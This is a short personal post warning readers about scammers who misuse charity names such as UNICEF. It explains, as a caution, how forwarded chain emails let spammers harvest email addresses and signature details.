     Found this useful information from unicef's website. It is so sad that people nowadays are so insensitive that they even use the names of organizations that serve a better purpose. Be vigilant and wary, dont fall for scammers techiniques. They often use social engineering to trick you on giving out information that will be used for scamming. Sometimes religion is also used in the form of chain emails. The sole purpose of which is to gather as many valid email addresses as they can which will be sold to spammers. This is very effective since most people just forward the email and you can see all the email addresses of the other persons it has been forwarded to. You can even get relevent informations about a persons job title, address and contact numbers as most of the time this forwarded emails also contain the signatures of the persons that does not want to break the "chain". Ever wonder why unsolicited email pile up on your inbox?